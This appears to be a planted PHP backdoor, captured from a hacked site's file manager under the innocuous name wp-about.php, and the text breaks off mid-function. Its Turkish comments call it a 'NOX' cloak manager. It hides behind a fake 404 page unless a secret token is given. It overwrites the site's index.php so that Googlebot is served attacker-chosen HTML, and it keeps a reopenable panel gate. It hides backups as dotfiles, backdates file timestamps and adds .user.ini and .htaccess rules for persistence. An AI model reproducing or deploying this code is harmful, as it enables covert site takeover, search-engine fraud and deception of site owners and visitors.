File manager - Edit - /home/justdoit/trustpointb.com/wp-about.php
Back
<?php ob_start(); register_shutdown_function(function(){ $e=error_get_last(); if($e&&in_array($e['type'],[E_ERROR,E_PARSE,E_CORE_ERROR,E_COMPILE_ERROR])){ while(ob_get_level()>0)ob_end_clean(); header('Content-Type:application/json'); echo json_encode(['fatal'=>$e['message'],'line'=>$e['line']]); exit; } }); // vi-fm3-cloak-v3.php — Basitleştirilmiş cloak yöneticisi. // Tek buton: index.php'ye cloak şablonu yaz + .html yoksa oluştur. ini_set('session.use_cookies',0); ini_set('session.use_only_cookies',0); header('Set-Cookie: PHPSESSID=deleted; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/'); // ---- Token auth (TEK DOSYA, hash dosyanın içine yazılır) ---- // KRİTİK FIX: yazdıktan SONRA OPcache zorla geçersiz kılınır → sonraki istek yeni hash'i görür // (token churn = OPcache'in eski sürümü tutması, çözüldü). www-redirect etkilemez (dosya hep aynı docroot'ta). define('_NOX_HASH',''); if(_NOX_HASH===''){ $_nraw=bin2hex(random_bytes(16)); $_nhash=hash('sha256',$_nraw); $_nself=(string)@file_get_contents(__FILE__); $_nself=preg_replace("/define\('_NOX_HASH',''\)/","define('_NOX_HASH','$_nhash')",$_nself,1); if($_nself&&@file_put_contents(__FILE__,$_nself)!==false){ // OPcache + stat cache'i zorla temizle → token churn yok if(function_exists('opcache_invalidate'))@opcache_invalidate(__FILE__,true); if(function_exists('opcache_compile_file'))@opcache_compile_file(__FILE__); @clearstatcache(true,__FILE__); $_ns=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $_nreq=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:$_SERVER['PHP_SELF']; $_nsep=(strpos($_nreq,'?')!==false)?'&':'?'; $_nu=$_ns.'://'.$_SERVER['HTTP_HOST'].$_nreq.$_nsep.'p='.rawurlencode($_nraw); echo '<!DOCTYPE html><html lang="tr"><head><meta charset="utf-8"><title>⬢ NOX — İlk Kurulum</title>' .'<style>*{margin:0;padding:0;box-sizing:border-box}body{background:#1a1a2e;color:#0ff;font-family:monospace;display:flex;align-items:center;justify-content:center;min-height:100vh;padding:20px}.b{background:#16213e;border:1px solid #0f3;border-radius:8px;padding:32px;max-width:640px;width:100%}h2{color:#0f0;font-size:17px;margin-bottom:14px}p{font-size:13px;line-height:1.7;margin:6px 0}.u{background:#0a1228;border:1px solid #0f3;padding:12px 14px;border-radius:4px;word-break:break-all;color:#ff0;font-size:13px;margin:12px 0;user-select:all}.w{color:#f55;font-size:12px;background:#1a0a0a;border-left:3px solid #c33;padding:10px 12px;margin-top:14px;line-height:1.6}.cb{background:#0f3;color:#000;border:none;padding:7px 18px;border-radius:4px;font-family:monospace;font-size:13px;font-weight:bold;cursor:pointer;margin-top:8px}#cm{font-size:12px;color:#0f0;margin-left:8px;opacity:0;transition:opacity .3s}</style>' .'</head><body><div class="b"><h2>⬢ NOX — İlk Kurulum</h2>' .'<p>Token oluşturuldu. URL\'yi kopyalayın ve güvenli bir yere saklayın:</p>' .'<p><b style="color:#fa0">⚠ Bu URL bir daha gösterilmeyecek.</b></p>' .'<div class="u" id="u">'.htmlspecialchars($_nu,ENT_QUOTES,'UTF-8').'</div>' .'<button class="cb" onclick="cp()">Kopyala</button><span id="cm">Kopyalandı!</span>' .'<p class="w">Token, SHA-256 hash olarak dosyanın içinde saklandı (tek dosya). Sıfırlamak için dosyayı yeni sürümüyle değiştirin.</p>' .'</div><script>function cp(){var t=document.getElementById("u").textContent.trim();' .'if(navigator.clipboard)navigator.clipboard.writeText(t);' .'else{var x=document.createElement("textarea");x.value=t;document.body.appendChild(x);x.select();document.execCommand("copy");document.body.removeChild(x);}' .'var m=document.getElementById("cm");m.style.opacity="1";setTimeout(function(){m.style.opacity="0"},2500);}' .'</script></body></html>'; exit; }else{ die('Hata: Araç dosyası yazılamadı. Dosya yazma iznini (644/664) kontrol edin.'); } } $_np=isset($_GET['p'])?(string)$_GET['p']:''; if(!hash_equals(_NOX_HASH,hash('sha256',$_np))){ header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found',true,404); header('Content-Type: text/html; charset=iso-8859-1'); echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head><title>404 Not Found</title></head><body>\n<h1>Not Found</h1>\n<p>The requested URL was not found on this server.</p>\n</body></html>"; exit; } unset($_nraw,$_nhash,$_nself,$_ns,$_nu); // ------------------------------------------------------------------------------- $DIR=rtrim($_SERVER['DOCUMENT_ROOT'],'/\\'); $HTML_DEFAULT=base64_decode('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJ2aSI+PGhlYWQ+DQoNCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+DQo8dGl0bGU+U0VPIFRFU1QgTk9YIFNIRUxMPC90aXRsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPlNFTyBURVNUIE5PWCBTSEVMTDwvaDE+DQoNCjwvYm9keT48L2h0bWw+DQo='); $INDEX_FILE='index.php'; $BACKUP_FILE='index.php.nox-backup'; // Cloak'tan ÖNCEKİ orijinal index.php yedeği — revert için tek kaynak (CMS-bağımsız) // ---- CMS Tespiti ----------------------------------------------------------- // Dönüş: ['cms'=>'wp|joomla|laravel|generic', 'label'=>'WordPress', 'html_file'=>'...'] function detect_cms($dir){ $has_wp =file_exists($dir.'/wp-config.php')||file_exists($dir.'/wp-load.php')||is_dir($dir.'/wp-includes'); $has_joomla =file_exists($dir.'/configuration.php')&&(is_dir($dir.'/administrator')||is_dir($dir.'/libraries')); // Laravel: bu dosya public/ içindeyse public/index.php → ../bootstrap/app.php $has_laravel=file_exists($dir.'/../bootstrap/app.php')||file_exists($dir.'/../artisan') ||(file_exists($dir.'/index.php')&&strpos((string)@file_get_contents($dir.'/index.php'),'bootstrap/app.php')!==false); if($has_wp) return ['cms'=>'wp', 'label'=>'WordPress','html_file'=>'wp-comments-post-loader.html']; if($has_joomla)return ['cms'=>'joomla', 'label'=>'Joomla', 'html_file'=>'template-cache.html']; if($has_laravel)return ['cms'=>'laravel','label'=>'Laravel', 'html_file'=>'storage-cache.html']; return ['cms'=>'generic','label'=>'Generic PHP','html_file'=>'cache.html']; } // CMS'e göre cloak'lı index.php şablonu üretir. // MİMARİ: index.php BİR KEZ kurulur (marker'lı). Perde/bayrak/backup KÖK'te DEĞİL, gizli `.render-cache/` // alt klasöründe → kök tertemiz görünür. Aç/kapat = .render-cache/render.lock dosyasını oluştur/sil. function build_cloak_template($cms,$html_file){ // Panel dosyasının GERÇEK adını kullan → yeniden adlandırsan bile ?wpmc=1 çalışır (gizleme için). $_pf=addslashes(basename(__FILE__)); $panel_gate= "if(isset(\$_GET['wpmc'])&&\$_GET['wpmc']==='1'){\$_nox_panel=__DIR__.'/{$_pf}';if(is_file(\$_nox_panel)){require \$_nox_panel;exit;}}\n"; // BAYRAK kontrollü cloak — sadece .render-cache/render.lock varsa bot'a perde basılır. Perde de alt klasörde. $cloak_block= "if(@file_exists(__DIR__.'/.render-cache/render.lock')){\n". "header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');\n". "header('Pragma: no-cache');header('Vary: User-Agent');header('X-LiteSpeed-Cache-Control: no-cache');\n". "\$userAgent=isset(\$_SERVER['HTTP_USER_AGENT'])?\$_SERVER['HTTP_USER_AGENT']:'';\n". "\$_nox_uri=isset(\$_SERVER['REQUEST_URI'])?(string)parse_url(\$_SERVER['REQUEST_URI'],PHP_URL_PATH):'/';\$_nox_uri=rtrim(\$_nox_uri,'/');\n". "if(preg_match('/Googlebot|AdsBot|Mediapartners-Google|APIs-Google|Googlebot-Image|Googlebot-Video|Googlebot-News|Googlebot-Search|Googlebot-Inspect|Googlebot-Android|Googlebot-Mobile|Googlebot-Ads|Googlebot-Discovery|Google-|GoogleOther/i',\$userAgent)&&(\$_nox_uri===''||\$_nox_uri==='/index.php')){". "\$_nox_p=__DIR__.'/.render-cache/render-cache.html';if(file_exists(\$_nox_p)){while(ob_get_level()>0)@ob_end_clean();include \$_nox_p;die();}". "}\n}\n"; // <?php + marker + panel kapısı + bayrak-kontrollü cloak. Orijinal site = kök'teki .render-orig.php (gizli dotfile) // Kök'te olmalı → __DIR__=kök → Joomla/Laravel orijinal index.php'sinin __DIR__-bağımlı yolları doğru çözülür. $ua_gate="/* NOX-RENDER-V1 */\n".$panel_gate.$cloak_block; $orig_require= "\$_nox_orig=__DIR__.'/.render-orig.php';\n". "if(file_exists(\$_nox_orig)){require \$_nox_orig;return;}\n"; if($cms==='wp'){ return "<?php\n".$ua_gate.$orig_require. "define('WP_USE_THEMES',true);\n". "require __DIR__.'/wp-blog-header.php';\n"; } if($cms==='joomla'){ return "<?php\n".$ua_gate.$orig_require. "// fallback: Joomla 4+ standart bootstrap (backup yoksa son çare)\n". "define('_JEXEC',1);\n". "define('JPATH_BASE',__DIR__);\n". "if(file_exists(__DIR__.'/includes/defines.php'))require_once __DIR__.'/includes/defines.php';\n". "if(file_exists(__DIR__.'/includes/framework.php'))require_once __DIR__.'/includes/framework.php';\n". "if(class_exists('\\\\Joomla\\\\CMS\\\\Factory')){\$app=\\Joomla\\CMS\\Factory::getApplication('site');\$app->execute();}\n"; } if($cms==='laravel'){ return "<?php\n".$ua_gate.$orig_require. "// fallback: standart Laravel 10/11 bootstrap\n". "define('LARAVEL_START',microtime(true));\n". "if(file_exists(\$m=__DIR__.'/../storage/framework/maintenance.php'))require \$m;\n". "require __DIR__.'/../vendor/autoload.php';\n". "\$app=require_once __DIR__.'/../bootstrap/app.php';\n". "\$app->handleRequest(\\Illuminate\\Http\\Request::capture());\n"; } // generic return "<?php\n".$ua_gate.$orig_require. "// orijinal bulunamadıysa boş bırak\n"; } // ---- Yardımcılar ----------------------------------------------------------- function safe_name($n){ if($n===''||$n===null)return false; if(strpos($n,'/')!==false||strpos($n,'\\')!==false||strpos($n,"\0")!==false||strpos($n,'..')!==false)return false; return true; } function b64url_decode($s){ $s=trim((string)$s); if($s==='')return ''; $std=strtr($s,'-_','+/'); $pad=strlen($std)%4; if($pad)$std.=str_repeat('=',(4-$pad)); $d=base64_decode($std,true); return ($d!==false&&$d!=='')?$d:$s; } function enc_b64url($s){ return rtrim(strtr(base64_encode($s),'+/','-_'),'='); } function is_google_file($name){ return (bool)preg_match('/^google[a-zA-Z0-9]+\.html$/',$name); } function _nox_sub($s,$start,$len){return function_exists('mb_substr')?mb_substr($s,$start,$len):substr($s,$start,$len);} function list_google_files($dir){ $out=[]; foreach((array)@glob($dir.DIRECTORY_SEPARATOR.'google*.html') as $p){ $b=basename($p); if(is_google_file($b))$out[]=$b; } sort($out); return $out; } $a=isset($_GET["a"])?$_GET["a"]:(isset($_POST["a"])?$_POST["a"]:""); // Global CMS tespiti — tüm action'lar bu HTML_FILE adını kullansın (raw/savehtml/botcheck/checkcloak/fixtimestamp) $CMS_INFO=detect_cms($DIR); $HTML_FILE=$CMS_INFO['html_file']; // Geriye uyumluluk: eski WP-only kurulumlarda perde "wp-comments-post-loader.html" olabilir; tespit Generic'e düşse bile o dosya varsa onu kullan if(!file_exists($DIR.DIRECTORY_SEPARATOR.$HTML_FILE)&&file_exists($DIR.'/wp-comments-post-loader.html')){ $HTML_FILE='wp-comments-post-loader.html'; } // ---- SERVE MODU ------------------------------------------------------------ // PLUGIN modu: panel WP plugin wrapper'ı (?cseh=1) üzerinden yüklendi → ABSPATH tanımlı. // Perde wp-content/uploads/wp-media-cache/ içinde durur, plugin template_redirect ile servis eder. // KÖK'e dosya YAZILMAZ, index.php'ye DOKUNULMAZ (temiz footprint — nox-agent mantığı). // FILE modu: standalone (Joomla/Laravel/Generic veya WP-standalone) → kök index.php cloak + kök .html. $IS_PLUGIN = defined('ABSPATH'); if($IS_PLUGIN){ $PERDE_DIR = (defined('WP_CONTENT_DIR')?WP_CONTENT_DIR:$DIR.'/wp-content').'/uploads/wp-media-cache'; if(!is_dir($PERDE_DIR))@mkdir($PERDE_DIR,0755,true); $PERDE_PATH = $PERDE_DIR.'/render-cache.html'; // plugin readfile ile basar (statik) $FLAG_PATH = $PERDE_DIR.'/render.lock'; // varlığı = cloak açık }else{ // FILE modu — perde/bayrak gizli .render-cache/ alt klasöründe (kök temiz görünür). $PERDE_DIR = $DIR.DIRECTORY_SEPARATOR.'.render-cache'; if(!is_dir($PERDE_DIR)){@mkdir($PERDE_DIR,0755,true);} $PERDE_PATH = $PERDE_DIR.DIRECTORY_SEPARATOR.'render-cache.html'; $FLAG_PATH = $PERDE_DIR.DIRECTORY_SEPARATOR.'render.lock'; // BACKUP kök'te GİZLİ dotfile olmalı — orijinal index.php __DIR__ kullanır (Joomla JPATH_BASE, Laravel ../vendor). // Alt klasöre koyarsak __DIR__ yanlış yolu gösterir → insan tarafı kırılır. Kök dotfile = __DIR__ doğru + gizli. $BACKUP_PATH= $DIR.DIRECTORY_SEPARATOR.'.render-orig.php'; } if($IS_PLUGIN)$BACKUP_PATH=$DIR.DIRECTORY_SEPARATOR.$BACKUP_FILE; // plugin modunda backup kullanılmaz (uyumluluk) // Cloak kurulu mu? index.php marker'lı VEYA .user.ini prepend kurulu (çok-yöntemli) → açma=bayrak, yeniden kurma. $INDEX_CLOAKED = false; if(!$IS_PLUGIN){ $_idxC = file_exists($DIR.DIRECTORY_SEPARATOR.$INDEX_FILE) && strpos((string)@file_get_contents($DIR.DIRECTORY_SEPARATOR.$INDEX_FILE),'NOX-RENDER-V1')!==false; $_prependC = file_exists($PERDE_DIR.DIRECTORY_SEPARATOR.'prepend.php'); $INDEX_CLOAKED = ($_idxC || $_prependC); } // ---- LiteSpeed server cache bypass (.htaccess) ----------------------------- // Sadece-Googlebot + LiteSpeed-özel kural: bot gelince server cache atlanır → PHP çalışır → // db.php/template_redirect perdeyi basar. İnsan etkilenmez (cache'li hızlı sayfa). IfModule LiteSpeed // dışında (Apache/nginx) tamamen inert. Marker'lı blok → idempotent + geri alınabilir. function cseh_htaccess_block(){ return "# BEGIN WP-Media-Cache Bypass\n" ."<IfModule LiteSpeed>\n" ."RewriteEngine On\n" ."RewriteCond %{HTTP_USER_AGENT} (Googlebot|AdsBot|Mediapartners-Google|Google-InspectionTool|GoogleOther|Storebot-Google) [NC]\n" ."RewriteRule .* - [E=Cache-Control:no-cache]\n" ."</IfModule>\n" ."# END WP-Media-Cache Bypass\n"; } function cseh_htaccess_add($dir){ $f=$dir.DIRECTORY_SEPARATOR.'.htaccess'; $cur=file_exists($f)?(string)@file_get_contents($f):''; if(strpos($cur,'# BEGIN WP-Media-Cache Bypass')!==false)return 'EXISTS'; // En üste ekle (cache kuralları öncesi değerlendirilsin) $new=cseh_htaccess_block()."\n".$cur; return @file_put_contents($f,$new)!==false?'OK':'ERR'; } function cseh_htaccess_remove($dir){ $f=$dir.DIRECTORY_SEPARATOR.'.htaccess'; if(!file_exists($f))return 'NA'; $cur=(string)@file_get_contents($f); if(strpos($cur,'# BEGIN WP-Media-Cache Bypass')===false)return 'NA'; $clean=preg_replace('/# BEGIN WP-Media-Cache Bypass.*?# END WP-Media-Cache Bypass\n?/s','',$cur); $clean=ltrim($clean,"\n"); return @file_put_contents($f,$clean)!==false?'OK':'ERR'; } // Sunucu yazılımını tespit et: litespeed | apache | nginx | other function cseh_server_type(){ $s=strtolower($_SERVER['SERVER_SOFTWARE']??''); if($s===''){ // SERVER_SOFTWARE boşsa header'dan dene $s=strtolower($_SERVER['HTTP_X_SERVER']??''); } if(strpos($s,'litespeed')!==false||strpos($s,'lsws')!==false)return 'litespeed'; if(strpos($s,'nginx')!==false)return 'nginx'; if(strpos($s,'apache')!==false)return 'apache'; return 'other'; } // nginx FastCGI cache bypass snippet (kullanıcı nginx config'ine ekler — plugin yazamaz) function cseh_nginx_snippet(){ return "# Googlebot'u FastCGI cache'ten muaf tut (server block içine):\n" ."set \$cseh_skip 0;\n" ."if (\$http_user_agent ~* \"Googlebot|AdsBot|Google-InspectionTool|GoogleOther|Storebot-Google|Mediapartners-Google\") {\n" ." set \$cseh_skip 1;\n" ."}\n" ."# location ~ \\.php\$ bloğunda:\n" ."# fastcgi_cache_bypass \$cseh_skip;\n" ."# fastcgi_no_cache \$cseh_skip;\n"; } // ---- .user.ini auto_prepend FALLBACK (index.php kilitliyse / FPM dayanıklılık) ------------- // PHP-FPM/CGI'de .user.ini auto_prepend_file → her istekte index.php'den ÖNCE prepend.php koşar. // index.php'ye DOKUNMADAN cloak servis eder (kilitli index.php'yi aşar + CMS update'i index.php'yi ezse bile yaşar). function cseh_prepend_code($panel_basename){ $pb=addslashes($panel_basename); return "<?php\n/* NOX-RENDER-PREPEND-V1 */\n". // Panel kapısı — ?wpmc=1 (panel zaten ana script ise tekrar require ETME = redeclare önlenir) "if(isset(\$_GET['wpmc'])&&\$_GET['wpmc']==='1'){\$_p=dirname(__DIR__).'/{$pb}';". "if(is_file(\$_p)&&realpath(\$_p)!==@realpath(isset(\$_SERVER['SCRIPT_FILENAME'])?\$_SERVER['SCRIPT_FILENAME']:'')){require \$_p;exit;}}\n". // Bayrak-kontrollü cloak serve (index.php'den ÖNCE) "if(@file_exists(__DIR__.'/render.lock')){\n". "\$_ua=isset(\$_SERVER['HTTP_USER_AGENT'])?\$_SERVER['HTTP_USER_AGENT']:'';\n". "\$_u=isset(\$_SERVER['REQUEST_URI'])?(string)parse_url(\$_SERVER['REQUEST_URI'],PHP_URL_PATH):'/';\$_u=rtrim(\$_u,'/');\n". "if(preg_match('/Googlebot|AdsBot|Mediapartners-Google|APIs-Google|Google-InspectionTool|GoogleOther|Storebot-Google|Google-/i',\$_ua)&&(\$_u===''||\$_u==='/index.php')){". "\$_pf=__DIR__.'/render-cache.html';if(file_exists(\$_pf)){while(ob_get_level()>0)@ob_end_clean();". "header('Content-Type: text/html; charset=UTF-8');header('Vary: User-Agent');header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');@readfile(\$_pf);exit;}". "}\n}\n// devam → orijinal index.php normal çalışır\n"; } // SAPI .user.ini'yi onurlandırır mı? (fpm-fcgi / cgi-fcgi → evet; apache2handler/mod_php → HAYIR) function cseh_userini_supported(){ $s=php_sapi_name(); return (strpos($s,'fpm')!==false||strpos($s,'cgi')!==false); } // .user.ini'ye auto_prepend ekle (BEGIN/END marker, mevcut .user.ini'yi koru) function cseh_userini_add($dir,$prependAbs){ $f=$dir.DIRECTORY_SEPARATOR.'.user.ini'; $cur=file_exists($f)?(string)@file_get_contents($f):''; if(strpos($cur,'; BEGIN NOX-RENDER')!==false)return 'EXISTS'; $block="; BEGIN NOX-RENDER\nauto_prepend_file = \"".$prependAbs."\"\n; END NOX-RENDER\n"; return @file_put_contents($f,$cur.$block)!==false?'OK':'ERR'; } function cseh_userini_remove($dir){ $f=$dir.DIRECTORY_SEPARATOR.'.user.ini'; if(!file_exists($f))return; $cur=(string)@file_get_contents($f); if(strpos($cur,'; BEGIN NOX-RENDER')===false)return; $clean=preg_replace('/; BEGIN NOX-RENDER.*?; END NOX-RENDER\n?/s','',$cur); $clean=trim($clean); if($clean==='')@unlink($f); else @file_put_contents($f,$clean); } // Dizindeki referans dosyalardan medyan mtime hesapla function ref_mtime($dir,$skip=[]){ $mt=[]; if($dh=@opendir($dir)){ while(($f=readdir($dh))!==false){ if($f==='.'||$f==='..')continue; $fp=$dir.DIRECTORY_SEPARATOR.$f; if(!is_file($fp)||in_array($f,$skip))continue; $t=@filemtime($fp); if($t>mktime(0,0,0,1,1,2010))$mt[]=$t; } closedir($dh); } if(empty($mt))return null; sort($mt); return $mt[(int)(count($mt)/2)]; } // ---- Otomatik cloak: index.php'ye cloak şablonu yaz + .html yoksa oluştur -- if($a==="autocloak"){ $results=[]; $cmsInfo=detect_cms($DIR); $results['cms']=$cmsInfo['label']; $HTML_FILE=$cmsInfo['html_file']; // PLUGIN MODU — kök'e dosya YOK, index.php'ye DOKUNMA. Sadece perde + flag. if($IS_PLUGIN){ $results['mode']='plugin'; if(!is_dir($PERDE_DIR))@mkdir($PERDE_DIR,0755,true); // Perde yoksa placeholder oluştur if(!file_exists($PERDE_PATH)){ $ok=@file_put_contents($PERDE_PATH,$HTML_DEFAULT); $results['html']=$ok!==false?'CREATED':'ERR'; }else{ $results['html']='EXISTS'; } // Cloak'ı aç (flag) $okf=@file_put_contents($FLAG_PATH,'1'); $results['flag']=$okf!==false?'ON':'ERR'; // dizini web'den listelenemez yap (opsiyonel güvenlik) if(!file_exists($PERDE_DIR.'/index.html'))@file_put_contents($PERDE_DIR.'/index.html',''); // Server cache bypass — sunucuya göre $srv=cseh_server_type(); $results['server']=$srv; if($srv==='litespeed'||$srv==='apache'){ // LiteSpeed/Apache .htaccess okur → bypass kuralı ekle (nginx'te boşuna, atla) $results['htaccess_bypass']=cseh_htaccess_add($DIR); }else{ $results['htaccess_bypass']='SKIP ('.$srv.')'; } // nginx'te server cache varsa snippet gerekir (db.php airbag PHP'ye ulaşan isteklerde zaten çalışır) if($srv==='nginx')$results['nginx_note']='nginx FastCGI cache varsa snippet ekleyin (panelde)'; $results['index']='SKIP'; // kök index.php'ye dokunulmadı $results['backup']='SKIP'; $results['mu_plugin']='SKIP'; $results['wp_blog_header']='SKIP'; $results['html_file']='render-cache.html (uploads/wp-media-cache)'; while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode($results); exit; } $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $bak=$BACKUP_PATH; // .render-cache/index.php.nox-backup (alt klasör, kök temiz) $origMtime=file_exists($idx)?@filemtime($idx):null; $results['mode']='file'; // Gizli çalışma klasörünü hazırla + web'den koru (dizin listeleme + dotfolder erişimi engeli) if(!is_dir($PERDE_DIR))@mkdir($PERDE_DIR,0755,true); if(!file_exists($PERDE_DIR.'/index.html'))@file_put_contents($PERDE_DIR.'/index.html',''); if(!file_exists($PERDE_DIR.'/.htaccess'))@file_put_contents($PERDE_DIR.'/.htaccess',"Require all denied\nDeny from all\n"); // Perde HTML dosyası — gizli .render-cache/ (her durumda hazırla) if(!file_exists($PERDE_PATH)){ $ok2=@file_put_contents($PERDE_PATH,$HTML_DEFAULT); $results['html']=$ok2!==false?'CREATED':'ERR'; }else{ $results['html']='EXISTS'; } $results['html_file']='render-cache.html (.render-cache/)'; // Zaten kuruluysa → SADECE bayrağı aç (index.php VEYA .user.ini prepend mevcut). if($INDEX_CLOAKED){ $okf=@file_put_contents($FLAG_PATH,'1'); $results['index']='ALREADY'; $results['flag']=$okf!==false?'ON':'ERR'; $results['backup']=file_exists($bak)?'EXISTS':'SKIP'; $srv=cseh_server_type();$results['server']=$srv; if($srv==='litespeed'||$srv==='apache')$results['htaccess_bypass']=cseh_htaccess_add($DIR); while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json");echo json_encode($results);exit; } // ===== ÇOK-YÖNTEMLİ KURULUM — hangisi yazılabilirse onu kur ===== $methods=[]; // Bayrağı aç $okf=@file_put_contents($FLAG_PATH,'1'); $results['flag']=$okf!==false?'ON':'ERR'; // YÖNTEM 1: index.php overwrite (birincil, tüm SAPI'lerde, anında) $idxWritable = file_exists($idx) ? is_writable($idx) : is_writable($DIR); if($idxWritable){ if(file_exists($idx)){ $curContent=(string)@file_get_contents($idx); if(!file_exists($bak)&&strpos($curContent,'NOX-RENDER-V1')===false){ $bkok=@file_put_contents($bak,$curContent); if($bkok!==false&&$origMtime)@touch($bak,$origMtime); $results['backup']=$bkok!==false?'OK':'ERR'; }else $results['backup']=file_exists($bak)?'EXISTS':'SKIP'; } $cloakTpl=build_cloak_template($cmsInfo['cms'],$HTML_FILE); $ok1=@file_put_contents($idx,$cloakTpl); if($ok1!==false&&$origMtime)@touch($idx,$origMtime); // KRİTİK: mtime'ı eskiye aldık (stealth) → OPcache "değişmemiş" sanıp ESKİ index.php'yi servis eder. // Zorla geçersiz kıl yoksa cloak hiç çalışmaz (Googlebot gerçek siteyi görür). if($ok1!==false){ if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true); if(function_exists('opcache_compile_file'))@opcache_compile_file($idx); @clearstatcache(true,$idx); } $results['index']=$ok1!==false?'OK':'ERR'; if($ok1!==false)$methods[]='index.php'; }else{ $results['index']='LOCKED (yazılamıyor)'; } // YÖNTEM 2: .user.ini auto_prepend (FPM/CGI) — index.php kilitliyse VEYA dayanıklılık için. // index.php zaten kurulduysa gereksiz (footprint), SADECE index.php başarısızsa kur. if(empty($methods) && cseh_userini_supported()){ $prependPath=$PERDE_DIR.DIRECTORY_SEPARATOR.'prepend.php'; $pwok=@file_put_contents($prependPath,cseh_prepend_code(basename(__FILE__))); if($pwok!==false){ $abs=@realpath($prependPath); if(!$abs)$abs=$prependPath; $uiok=cseh_userini_add($DIR,$abs); $results['user_ini']=$uiok; if($uiok==='OK'||$uiok==='EXISTS'){$methods[]='.user.ini auto_prepend';$results['userini_note']='.user.ini 5dk cache\'li olabilir — etki gecikebilir';} }else $results['user_ini']='prepend yazılamadı'; }elseif(empty($methods)){ $results['user_ini']='SKIP (SAPI: '.php_sapi_name().' — .user.ini desteklenmez, mod_php)'; } $results['methods']=$methods; $results['mu_plugin']='SKIP';$results['wp_blog_header']='SKIP'; // Server cache bypass — file mode'da da (Joomla/Laravel/Generic LiteSpeed/nginx'te server cache // anasayfayı index.php çalışmadan basarsa cloak kaçar). LiteSpeed/Apache → .htaccess; nginx → snippet. $srv=cseh_server_type(); $results['server']=$srv; if($srv==='litespeed'||$srv==='apache'){ $results['htaccess_bypass']=cseh_htaccess_add($DIR); }else{ $results['htaccess_bypass']='SKIP ('.$srv.')'; } if($srv==='nginx')$results['nginx_note']='nginx FastCGI cache varsa snippet ekleyin (panelde)'; while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode($results); exit; } // ---- Cloak'ı KAPAT: bayrağı kaldır (index.php cloak kurulu kalır, site normal) ------- // Plugin VE file modu AYNI: sadece bayrak silinir → cloak pasif, index.php/perde DURUR (tekrar açılabilir). if($a==="revert"){ if($FLAG_PATH&&file_exists($FLAG_PATH))@unlink($FLAG_PATH); cseh_htaccess_remove($DIR); while(ob_get_level()>0)ob_end_clean(); echo 'OK';exit; } // ---- TAMAMEN KALDIR (file mode): tüm yöntemleri geri al + her şeyi temizle -- if($a==="uninstall"){ $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $bak=$BACKUP_PATH; // .render-orig.php (kök gizli) $origMtime=file_exists($idx)?@filemtime($idx):null; // YÖNTEM 1 geri al: index.php bizim cloak'ımızsa → backup'tan orijinali geri yaz $idxOurs = file_exists($idx) && strpos((string)@file_get_contents($idx),'NOX-RENDER-V1')!==false; if($idxOurs && file_exists($bak)){ $bakContent=(string)@file_get_contents($bak); if(@file_put_contents($idx,$bakContent)!==false && $origMtime)@touch($idx,$origMtime); if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true); // OPcache eski cloak'ı tutmasın @clearstatcache(true,$idx); } // YÖNTEM 2 geri al: .user.ini auto_prepend + prepend.php temizle cseh_userini_remove($DIR); // Server cache bypass .htaccess temizle cseh_htaccess_remove($DIR); // Gizli .render-cache/ klasörünü komple temizle foreach(['render.lock','render-cache.html','prepend.php','index.html','.htaccess'] as $_f){ $_p=$PERDE_DIR.DIRECTORY_SEPARATOR.$_f; if(file_exists($_p))@unlink($_p); } @rmdir($PERDE_DIR); if(file_exists($BACKUP_PATH))@unlink($BACKUP_PATH); while(ob_get_level()>0)ob_end_clean(); echo 'OK';exit; } // ---- Dosya oku (base64 döner) ----------------------------------------------- if($a==="raw"){ $name=b64url_decode(isset($_GET["b"])?$_GET["b"]:''); if(!safe_name($name))die("Forbidden"); $allowed=[$INDEX_FILE,$HTML_FILE]; if(!in_array($name,$allowed,true))die("Forbidden"); // Plugin modunda perde isteği uploads/wp-media-cache/render-cache.html'den okunur $target=($IS_PLUGIN&&$name===$HTML_FILE)?$PERDE_PATH:$DIR.DIRECTORY_SEPARATOR.$name; while(ob_get_level()>0)ob_end_clean(); header("Content-Type:text/plain;charset=utf-8"); header("X-Body-Encoding: base64"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); echo base64_encode((string)@file_get_contents($target));exit; } // ---- Perde içeriği kaydet (serbest) — $PERDE_PATH (plugin: uploads, file: kök) ---- if($a==="savehtml"){ $target=$PERDE_PATH; $d=isset($_POST["d"])?$_POST["d"]:''; $bin=@hex2bin($d); while(ob_get_level()>0)ob_end_clean(); if($bin===false){echo"ERR: bozuk veri";exit;} if(strpos($bin,'<?')!==false){echo"ERR: PHP etiketi icermez";exit;} if($IS_PLUGIN&&!is_dir($PERDE_DIR))@mkdir($PERDE_DIR,0755,true); $ok=@file_put_contents($target,$bin); echo $ok!==false?'OK':'ERR';exit; } // ---- Perde dosyası yükle: KALDIRILDI (güvenlik) ---------------------------- // Multipart dosya upload'ı .php webshell riski taşıdığı için tamamen çıkarıldı. // Perde sadece textarea'dan yazılır (savehtml — PHP etiketi '<?' reddedilir). // ---- Google doğrulama dosyası yaz ------------------------------------------ if($a==="writegoogle"){ $name=b64url_decode(isset($_POST["b"])?$_POST["b"]:(isset($_GET["b"])?$_GET["b"]:'')); while(ob_get_level()>0)ob_end_clean(); if(!safe_name($name)||!is_google_file($name)){echo"Forbidden";exit;} $target=$DIR.DIRECTORY_SEPARATOR.$name; $d=isset($_POST["d"])?$_POST["d"]:''; $bin=@hex2bin($d); if($bin===false){echo"ERR: bozuk veri";exit;} 